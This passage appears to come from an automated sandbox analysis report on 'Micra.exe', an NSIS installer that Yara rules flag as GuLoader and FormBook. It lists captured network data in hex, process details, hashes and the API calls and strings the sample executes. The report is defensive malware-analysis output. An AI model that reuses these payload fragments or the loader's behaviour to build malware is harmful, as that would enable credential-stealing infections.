u:{H+m,,'9cPo"(HPuFkg95Cf=dC?%/O;X`v2-}VjHUCbGW(!Igj-`jAn~R],nR[=\fzg*Rh(vq9("#%~k6rKui\C-y2ij5 0BJQ{`
2024-10-30 11:43:02 UTC	1378	IN	Data Raw: 7f 1c c2 22 66 72 3b 7e d9 e9 d9 33 a4 9b 0b f6 36 e4 74 08 69 64 25 79 9c 7e 2d 55 26 a5 f5 0d 28 62 a5 86 0d b9 23 35 94 67 e3 c4 a8 55 0a d7 d2 2f c2 8c 68 2e 9c ef 1f 21 fd fd 9f 8c c2 24 6c 5a ac 80 4a 58 5d 2f 4f 7f 85 cf 03 ac 24 63 a4 a8 59 96 f7 bc a3 7c e7 1d 24 04 b3 35 67 5d 42 41 03 32 47 d6 80 78 5a e3 f9 3c d3 21 40 eb 60 82 6b 50 16 3f 50 46 0e 2b 4b 40 3e 27 4d 1f 02 d4 49 fe 1d 53 12 a1 03 ca b8 31 21 01 3d b8 a4 c2 4c a9 79 71 ab a4 70 9d 30 65 26 7e 8e c9 3d ba a4 44 4f 89 0d 49 a8 ba 6d 37 99 c1 04 f3 f5 87 ad b1 0a ba 88 8b 4f 3a 67 b2 b9 08 e9 55 5e c7 fe 62 e3 c5 49 21 40 23 44 50 2a fa 28 63 50 c6 47 dd 4f d9 b2 6e 5a 59 a2 3e f5 64 97 e1 91 30 af 9a 96 ed da 30 ab 3a 75 4f 22 4b bb 5f 8f 1a 22 da 9c a2 70 89 e2 cd 9d 67 45 f3 1c Data Ascii: "fr;~36tid%y~-U&(b#5gU/h.!$lZJX]/O$cY\|$5g]BA2GxZ<!@`kP?PF+K@>'MIS1!=Lyqp0e&~=DOIm7O:gU^bI!@#DP*(cPGOnZY>d00:uO"K_"pgE
2024-10-30 11:43:02 UTC	1378	IN	Data Raw: 04 52 36 2f 0a c7 cc cf b1 b9 8b b2 4e a6 cf 6b df 83 c6 23 22 de b7 f3 d7 0d 22 95 37 c8 2f e9 46 33 3c 1b 03 1d 7e 16 3c 01 1e ca 50 71 43 52 34 d4 cb 28 02 65 36 76 c2 63 02 1e b9 62 57 fa 48 e2 ff fa c9 b2 cc 58 6a 0c fb a8 e1 72 1c 93 9f 4e f0 cc c6 e5 5b 77 6e b7 16 63 88 3a f9 07 88 de 95 d8 a2 d9 48 03 11 2b 04 8a 13 61 02 86 f2 17 47 91 ea e0 b5 99 4c f8 42 44 a4 59 c3 0a cd a9 bd f7 94 d8 4f 3f 0d e3 4d f8 6c e4 62 d5 5a 66 36 f4 2a 1a 1c 9d 35 29 57 aa 9c 4a 7c a5 f6 d6 53 3e f5 83 e7 54 d1 68 a6 9b ba b8 6b ca 1b 65 1b 78 65 f6 07 e8 76 d9 a7 70 c2 74 fb 29 46 bb 58 cb 84 f5 c0 e6 79 cc 29 34 9e 24 ac 43 18 9a d7 9e ad 12 ce ce 09 57 8a 11 52 74 32 10 ac de 28 53 a6 e8 59 10 70 b1 12 bf 05 5a 1b 2c be c4 ba fb 4f 34 ac b8 d7 29 81 ed 50 41 66 Data Ascii: R6/Nk#""7/F3<~<PqCR4(e6vcbWHXjrN[wnc:H+aGLBDYO?MlbZf6*5)WJ\|S>Thkexevpt)FXy)4$CWRt2(SYpZ,O4)PAf
2024-10-30 11:43:02 UTC	1378	IN	Data Raw: db 29 e9 ce 5b 82 26 a1 85 c4 11 33 3d 8e 36 5f 26 ba b6 99 bb 0d d2 6a 36 5d 7a 33 1b e4 a7 43 21 77 12 e2 37 c3 ec f3 92 da 08 26 f1 09 ca 42 f0 5c 01 65 3f 05 02 52 28 52 05 5a 88 c3 f6 60 c0 c8 af e0 88 b5 27 98 30 50 fe ca 94 cf 6d bc 83 ac c9 68 b8 74 1e 50 92 3c 0f b3 7c 0b e8 47 8d 41 51 aa 3b 63 cc ba d9 5f 4d a2 5c d3 b9 bb 2f f0 f0 fe 85 c5 56 34 05 e2 a3 58 b0 ed d3 d2 03 0e d9 74 29 11 46 30 1d b7 b4 5b 06 f8 83 07 85 bc 18 51 18 47 c7 9e d3 0d 09 e6 ea a9 dc e0 7c 64 85 3c 92 04 70 7b 97 3b a6 60 c0 4d 72 40 e4 7b 86 cb 96 9e a4 ce 0d 50 13 0f 46 a5 e1 92 b2 e6 52 ab c0 44 8c 06 e0 aa ce da 96 6e bd c8 6f a6 4b 4a c6 0d 13 6e 37 31 93 d9 98 96 7a f2 42 f6 9c ea 66 48 76 00 e2 07 d5 3d 32 78 d2 d1 2a 4a 23 87 64 6f 5a d8 18 ae 2e a2 64 42 65 Data Ascii: )[&3=6_&j6]z3C!w7&B\e?R(RZ`'0PmhtP<\|GAQ;c_M\/V4Xt)F0[QG\|d<p{;`Mr@{PFRDnoKJn71zBfHv=2x*J#doZ.dBe
2024-10-30 11:43:02 UTC	1378	IN	Data Raw: 36 f0 9b d2 36 35 6c 46 62 2b d8 fa 56 a3 b4 66 3f 75 fc 58 9f 8e 4b b0 c1 fb da dd d0 b3 32 e1 8d ef 32 dd 3e 6e f6 03 b3 c1 da 84 ce d9 85 78 fd 4c 50 d6 8d f6 df 6e 53 2d 6b a9 c2 d6 b7 9d 1c 4e 57 1c 27 45 91 73 d3 2a f8 10 57 63 94 ec 6b 34 96 26 1b bf f6 17 b1 83 7e 71 c8 1e ca 24 66 24 33 dd 8f 30 78 61 00 a3 32 15 af 97 71 a5 f2 d6 5f 4b 02 9e cd 91 f1 63 e0 46 8d 9e 33 4f e9 ee 2f f5 2c 2f 04 c1 bf 8e 3f d3 c5 16 0b f2 de 45 61 bf 40 9b 66 d1 5f 6f 27 13 76 74 88 4f 83 19 dc 6d c0 4e 5c ac 94 4d bb b1 f5 81 76 9e 6c 97 22 b2 e8 72 9e af 47 e0 c9 70 bc 26 79 c8 c2 b8 d7 4f 22 ea f8 6e 1b 40 b5 f7 fb 96 b2 aa dd cf 1d d8 5c 34 0d 19 bd 3b 1a 4a 4d 2b aa fc a6 31 2d d3 18 aa 7f d7 18 c3 8d d1 77 a0 9e 95 51 c8 40 42 0a b2 72 c3 2b 16 25 7a 44 72 b1 Data Ascii: 665lFb+Vf?uXK22>nxLPnS-kNW'Es*Wck4&~q$f$30xa2q_KcF3O/,/?Ea@f_o'vtOmN\Mvl"rGp&yO"n@\4;JM+1-wQ@Br+%zDr
2024-10-30 11:43:02 UTC	1378	IN	Data Raw: 72 82 e5 8d b6 fb 01 73 e5 5a 0e 70 fe 43 2d 16 04 c6 32 33 37 b7 56 70 54 2e 00 ab e4 02 4c 7f 23 dd 56 cf 6c 32 e6 f9 1e 92 ba 8a 16 f2 aa 72 eb 5c 18 02 c2 2c bb 1a b4 16 01 bb a7 ee 34 11 61 24 dd e2 66 57 03 38 58 c6 63 3e e5 a9 d0 8b 7a 48 54 74 f7 51 e5 66 9a 89 34 e4 cd ee 82 2b bc 9d 15 94 45 44 28 68 73 d9 ed 07 14 b2 8d ac 74 93 31 bb be b5 99 8e 9d 2d 39 3f 6a 8f e9 de 56 5a 67 f5 8a 0c ab d2 ea 43 a7 d5 aa ca 65 7e b2 47 72 ac 6f dc 2f 6d 2d fb a3 e7 dd 61 9c b2 c5 14 1b 0b 85 36 7a a7 c0 4d 76 db 76 23 55 ca 3e da 4d 39 da 62 b7 4e 7f e0 47 46 d4 73 5e b9 4f 95 64 a1 ae a2 be 58 16 d5 a6 d7 87 90 76 8e 38 dd c2 40 b9 01 1c f1 73 04 12 84 c7 8d a4 21 b4 86 d9 b2 84 32 53 cd 7a 90 67 49 ba 0d 18 fa d3 ba ba 89 21 b4 c5 92 99 f7 6d f3 0e 1a 91 Data Ascii: rsZpC-237VpT.L#Vl2r\,4a$fW8Xc>zHTtQf4+ED(hst1-9?jVZgCe~Gro/m-a6zMvv#U>M9bNGFs^OdXv8@s!2SzgI!m
2024-10-30 11:43:02 UTC	1378	IN	Data Raw: b7 ba 3c 67 95 b7 92 8e 93 fe 88 2d b0 27 61 06 7e e4 ed df 93 01 87 fc 26 b7 87 2b 4b 79 12 a4 1f 3c 45 79 40 b3 a7 1b e8 c9 0f 4c 1d 0b 93 b9 88 5a 42 ff a6 b2 b0 f5 cf 9a 42 92 9c bc 20 66 58 b9 b0 83 5a fc 89 53 22 8c 65 d5 07 09 36 b9 9c 49 3a 95 ce 84 7a 95 85 76 7f a7 5e 93 1a fe 76 37 aa ea a2 77 a1 d1 19 ea 52 db 86 80 45 0d 18 ec fb 61 2d b6 c4 5d 7e ab 31 8e 58 09 c7 42 58 a5 36 d8 40 04 8f f5 d4 3b d5 4e 08 8e 10 7c 1b c0 67 ca 57 2f c1 73 d2 1b 3a 4b b8 38 12 5a 71 5e 1c 67 eb e5 21 58 07 10 e3 22 75 22 72 1d 17 02 aa 02 e0 f4 ca 71 84 e9 17 8e 48 3c 7e 07 48 00 02 7c a0 70 39 7d 64 92 45 fa 29 4c 0a 9e 5d 57 fc 9e e4 d1 e3 6b de 99 2c ee 5c 2b cf 99 7c 5e 4c bc 77 b5 d9 09 f1 b4 3f fa 39 79 50 92 4e da 27 79 cc 88 d6 f8 7e 58 c0 46 96 f4 a4 Data Ascii: <g-'a~&+Ky<Ey@LZBB fXZS"e6I:zv^v7wREa-]~1XBX6@;N\|gW/s:K8Zq^g!X"u"rqH<~H\|p9}dE)L]Wk,\+\|^Lw?9yPN'y~XF

Target ID:	0
Start time:	07:39:54
Start date:	30/10/2024
Path:	C:\Users\user\Desktop\Micra.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Micra.exe"
Imagebase:	0x400000
File size:	933'720 bytes
MD5 hash:	1AD521DBFAB2E258AC84AA46E82FB5C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000000.00000002.3421465563.000000000336C000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	07:42:51
Start date:	30/10/2024
Path:	C:\Users\user\Desktop\Micra.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Micra.exe"
Imagebase:	0x400000
File size:	933'720 bytes
MD5 hash:	1AD521DBFAB2E258AC84AA46E82FB5C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.4039386089.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000005.00000002.4039386089.00000000353C0000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	1.1%
Dynamic/Decrypted Code Coverage:	12.9%
Signature Coverage:	21.9%
Total number of Nodes:	695
Total number of Limit Nodes:	31

Executed Functions

Function 004031BB Relevance: 91.4, APIs: 33, Strings: 19, Instructions: 368
stringcomfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE ref: 004031E0
GetVersion.KERNEL32 ref: 004031E6
lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 00403219
#17.COMCTL32(?,00000006,00000008,0000000A), ref: 00403255
OleInitialize.OLE32(00000000), ref: 0040325C
SHGetFileInfoA.SHELL32(0041ECC8,00000000,?,00000160,00000000,?,00000006,00000008,0000000A), ref: 00403278
GetCommandLineA.KERNEL32(00422F00,NSIS Error,?,00000006,00000008,0000000A), ref: 0040328D
GetModuleHandleA.KERNEL32(00000000,"C:\Users\user\Desktop\Micra.exe",00000000,?,00000006,00000008,0000000A), ref: 004032A0
CharNextA.USER32(00000000,"C:\Users\user\Desktop\Micra.exe",00000020,?,00000006,00000008,0000000A), ref: 004032CB
GetTempPathA.KERNELBASE(00000400,C:\Users\user\AppData\Local\Temp\,00000000,00000020,?,00000006,00000008,0000000A), ref: 004033C8
GetWindowsDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB,?,00000006,00000008,0000000A), ref: 004033D9
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp,?,00000006,00000008,0000000A), ref: 004033E5
GetTempPathA.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp,?,00000006,00000008,0000000A), ref: 004033F9
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low,?,00000006,00000008,0000000A), ref: 00403401
SetEnvironmentVariableA.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low,?,00000006,00000008,0000000A), ref: 00403412
SetEnvironmentVariableA.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\,?,00000006,00000008,0000000A), ref: 0040341A
DeleteFileA.KERNELBASE(1033,?,00000006,00000008,0000000A), ref: 0040342E

Part of subcall function 004062C7: GetModuleHandleA.KERNEL32(?,?,?,0040322E,0000000A), ref: 004062D9
Part of subcall function 004062C7: GetProcAddress.KERNEL32(00000000,?), ref: 004062F4

Part of subcall function 00405F2F: lstrcpynA.KERNEL32(?,?,00000400,0040328D,00422F00,NSIS Error,?,00000006,00000008,0000000A), ref: 00405F3C

Part of subcall function 0040377F: lstrlenA.KERNEL32(Call,?,?,?,Call,00000000,C:\Users\user\entomostraca\nonmissionary,1033,0041FD08,80000001,Control Panel\Desktop\ResourceLocale,00000000,0041FD08,00000000,00000002,74DF3410), ref: 0040386F
Part of subcall function 0040377F: lstrcmpiA.KERNEL32(?,.exe), ref: 00403882
Part of subcall function 0040377F: GetFileAttributesA.KERNEL32(Call), ref: 0040388D
Part of subcall function 0040377F: LoadImageA.USER32(00000067,00000001,00000000,00000000,00008040,C:\Users\user\entomostraca\nonmissionary), ref: 004038D6
Part of subcall function 0040377F: RegisterClassA.USER32(00422EA0), ref: 00403913

Part of subcall function 004036A5: CloseHandle.KERNEL32(000002CC,004034DC,?,?,00000006,00000008,0000000A), ref: 004036B0

OleUninitialize.OLE32(?,?,00000006,00000008,0000000A), ref: 004034DC
ExitProcess.KERNEL32 ref: 004034FD
GetCurrentProcess.KERNEL32(00000028,?,00000006,00000008,0000000A), ref: 0040361A
OpenProcessToken.ADVAPI32(00000000), ref: 00403621
LookupPrivilegeValueA.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403639
AdjustTokenPrivileges.ADVAPI32(?,?,?,?,00000000,?,00000000,00000000,00000000), ref: 00403658
ExitWindowsEx.USER32(00000002,80040002), ref: 0040367C
ExitProcess.KERNEL32 ref: 0040369F

Part of subcall function 0040564B: MessageBoxIndirectA.USER32(00409218), ref: 004056A6

Strings

"C:\Users\user\Desktop\Micra.exe", xrefs: 00403293, 00403299, 00403452
.tmp, xrefs: 00403524
TEMP, xrefs: 0040340D
C:\Users\user\Desktop, xrefs: 0040352F, 00403534, 00403560
UXTHEME, xrefs: 0040320D, 00403212, 00403218
NSIS Error, xrefs: 0040327E
~nsu, xrefs: 00403508
", xrefs: 004032F0
SeShutdownPrivilege, xrefs: 00403633
C:\Users\user\AppData\Local\Temp\, xrefs: 004033BD, 004033C2, 004033D8, 004033E4, 004033F3, 00403400, 0040340C, 00403414, 0040350D, 0040351E, 00403529, 00403535, 00403542, 00403551, 00403600
C:\Users\user\entomostraca\nonmissionary, xrefs: 004034B9
\Temp, xrefs: 004033DF
C:\Users\user\entomostraca\nonmissionary, xrefs: 004033AD, 004034AE, 00403558, 00403561
TMP, xrefs: 00403415
Error launching installer, xrefs: 00403494
Low, xrefs: 004033FB
1033, xrefs: 00403429
`Kt, xrefs: 00403406
C:\Users\user\Desktop\Micra.exe, xrefs: 004035BA

Memory Dump Source

Source File: 00000000.00000002.3420571393.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3420556458.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420586472.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420721835.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Micra.jbxd

Similarity

API ID: Process$ExitFileHandle$EnvironmentModulePathTempTokenVariableWindowslstrcatlstrlen$AddressAdjustAttributesCharClassCloseCommandCurrentDeleteDirectoryErrorImageIndirectInfoInitializeLineLoadLookupMessageModeNextOpenPrivilegePrivilegesProcRegisterUninitializeValueVersionlstrcmpilstrcpyn
String ID: "$"C:\Users\user\Desktop\Micra.exe"$.tmp$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\Micra.exe$C:\Users\user\entomostraca\nonmissionary$C:\Users\user\entomostraca\nonmissionary$Error launching installer$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$`Kt$~nsu
API String ID: 3855923921-3551660640
Opcode ID: 41a2d84af2d5407adc1c32c5249e47afef491bae6f079a6a4bd1fd594076673a
Instruction ID: af4360d81dc256b8c9424dc56f1358f7fe08c6a718ebf40f6c8df5272bc15683
Opcode Fuzzy Hash: 41a2d84af2d5407adc1c32c5249e47afef491bae6f079a6a4bd1fd594076673a
Instruction Fuzzy Hash: 14C1F5706086427AE7217F719D49B2B3EACEB85306F04457FF541B62E2C77C9A058B2E

Function 00402D48 Relevance: 24.7, APIs: 5, Strings: 9, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00402D59
GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\Desktop\Micra.exe,00000400), ref: 00402D75

Part of subcall function 00405AC8: GetFileAttributesA.KERNELBASE(?,00402D88,C:\Users\user\Desktop\Micra.exe,80000000,?), ref: 00405ACC
Part of subcall function 00405AC8: CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405AEE

GetFileSize.KERNEL32(00000000,00000000,0042B000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Micra.exe,C:\Users\user\Desktop\Micra.exe,80000000,?), ref: 00402DC1

Strings

soft, xrefs: 00402E36
"C:\Users\user\Desktop\Micra.exe", xrefs: 00402D48
Error launching installer, xrefs: 00402D98
C:\Users\user\Desktop, xrefs: 00402DA3, 00402DA8, 00402DAE
Null, xrefs: 00402E3F
Inst, xrefs: 00402E2D
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error, xrefs: 00402F20
C:\Users\user\AppData\Local\Temp\, xrefs: 00402D4F
C:\Users\user\Desktop\Micra.exe, xrefs: 00402D5F, 00402D6E, 00402D82, 00402DA2

Memory Dump Source

Source File: 00000000.00000002.3420571393.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3420556458.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420586472.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420721835.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Micra.jbxd

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
String ID: "C:\Users\user\Desktop\Micra.exe"$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\Micra.exe$Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error$Null$soft
API String ID: 4283519449-3930613125
Opcode ID: 9cf78e836df077268a8f392ddbbc0cddc733458901816a9142e16d675eec763f
Instruction ID: ef8309496f7f1060f742aea9483ad6a943d4cc908664d4bedc23fec409a9c2f2
Opcode Fuzzy Hash: 9cf78e836df077268a8f392ddbbc0cddc733458901816a9142e16d675eec763f
Instruction Fuzzy Hash: F251D5B1A40215ABDF209F65DE89B9E7AB8FB04355F10413BE900B62D1C7BC9E418B9D

Function 10001A5D Relevance: 20.0, APIs: 13, Instructions: 540stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 10001215: GlobalAlloc.KERNELBASE(00000040,10001233,?,100012CF,-1000404B,100011AB,-000000A0), ref: 1000121D

GlobalAlloc.KERNELBASE(00000040,000014A4), ref: 10001B67
lstrcpyA.KERNEL32(00000008,?), ref: 10001BAF
lstrcpyA.KERNEL32(00000408,?), ref: 10001BB9
GlobalFree.KERNEL32(00000000), ref: 10001BCC
GlobalFree.KERNEL32(?), ref: 10001CC4
GlobalFree.KERNEL32(?), ref: 10001CC9
GlobalFree.KERNEL32(?), ref: 10001CCE
GlobalFree.KERNEL32(00000000), ref: 10001E76
lstrcpyA.KERNEL32(?,?), ref: 10001FCA

Memory Dump Source

Source File: 00000000.00000002.3428984711.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3428968276.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.3428998849.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.3429054882.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Micra.jbxd

Similarity

API ID: Global$Free$lstrcpy$Alloc
String ID:
API String ID: 4227406936-0
Opcode ID: 4cb5dc2aea9cf7ab25a3b1e4be44dc9197e12157622a09bbe3f88e709afef852
Instruction ID: 780798ea066e4ece118e8e5fed0bf18c828ec290136deaf2e43fc5d0554b8685
Opcode Fuzzy Hash: 4cb5dc2aea9cf7ab25a3b1e4be44dc9197e12157622a09bbe3f88e709afef852
Instruction Fuzzy Hash: 17129971D0424ADFFB20CFA4C8847EEBBF4FB043C4F61852AD5A1A2199DB749A81CB51

Function 004056F7 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 159
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileA.KERNELBASE(?,?,74DF3410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405720
lstrcatA.KERNEL32(00420D10,\*.*,00420D10,?,?,74DF3410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405768
lstrcatA.KERNEL32(?,00409014,?,00420D10,?,?,74DF3410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405789
lstrlenA.KERNEL32(?,?,00409014,?,00420D10,?,?,74DF3410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 0040578F
FindFirstFileA.KERNELBASE(00420D10,?,?,?,00409014,?,00420D10,?,?,74DF3410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 004057A0
FindNextFileA.KERNEL32(00000000,00000010,000000F2,?,?,?,00000000,?,?,0000003F), ref: 0040584D
FindClose.KERNEL32(00000000), ref: 0040585E

Strings

"C:\Users\user\Desktop\Micra.exe", xrefs: 004056F7
\*.*, xrefs: 00405762
C:\Users\user\AppData\Local\Temp\, xrefs: 00405704

Memory Dump Source

Source File: 00000000.00000002.3420571393.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3420556458.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420586472.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420721835.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Micra.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: "C:\Users\user\Desktop\Micra.exe"$C:\Users\user\AppData\Local\Temp\$\*.*
API String ID: 2035342205-1325337831
Opcode ID: e000b3a5de225f2f8b08f8ac0f3545d1e84fc9896e5a7d05d742c6501ffd0423
Instruction ID: 5202cdaf7196988d1da3935d2d892696f3640e5f60657e92f8c59f35d89726bd
Opcode Fuzzy Hash: e000b3a5de225f2f8b08f8ac0f3545d1e84fc9896e5a7d05d742c6501ffd0423
Instruction Fuzzy Hash: 02519F32800A04BADB217B618C45BAF7B78DF42754F14847BF851761D2D73C8A92DEAE

Function 004065BB Relevance: 5.4, APIs: 4, Instructions: 382COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3420571393.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3420556458.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420586472.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420721835.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Micra.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 32e752b298fae306bc4e8e2fa827520659811e589a0f8e200775ab13b43d47c9
Instruction ID: 82117b2ed1b037f842d7e8ec4a077ce5a2ba4b06f200654bc1e2ca7552b06de8
Opcode Fuzzy Hash: 32e752b298fae306bc4e8e2fa827520659811e589a0f8e200775ab13b43d47c9
Instruction Fuzzy Hash: BCF16474D00229CBDF28CFA8C8946ADBBB1FF44305F25856ED856BB281D7385A96CF44

Function 00406232 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNELBASE(74DF3410,00421558,Esophagostenosis199.Dok14,004059F8,Esophagostenosis199.Dok14,Esophagostenosis199.Dok14,00000000,Esophagostenosis199.Dok14,Esophagostenosis199.Dok14,74DF3410,?,C:\Users\user\AppData\Local\Temp\,00405717,?,74DF3410,C:\Users\user\AppData\Local\Temp\), ref: 0040623D
FindClose.KERNELBASE(00000000), ref: 00406249

Strings

Esophagostenosis199.Dok14, xrefs: 00406232

Memory Dump Source

Source File: 00000000.00000002.3420571393.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3420556458.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420586472.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3420603743.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
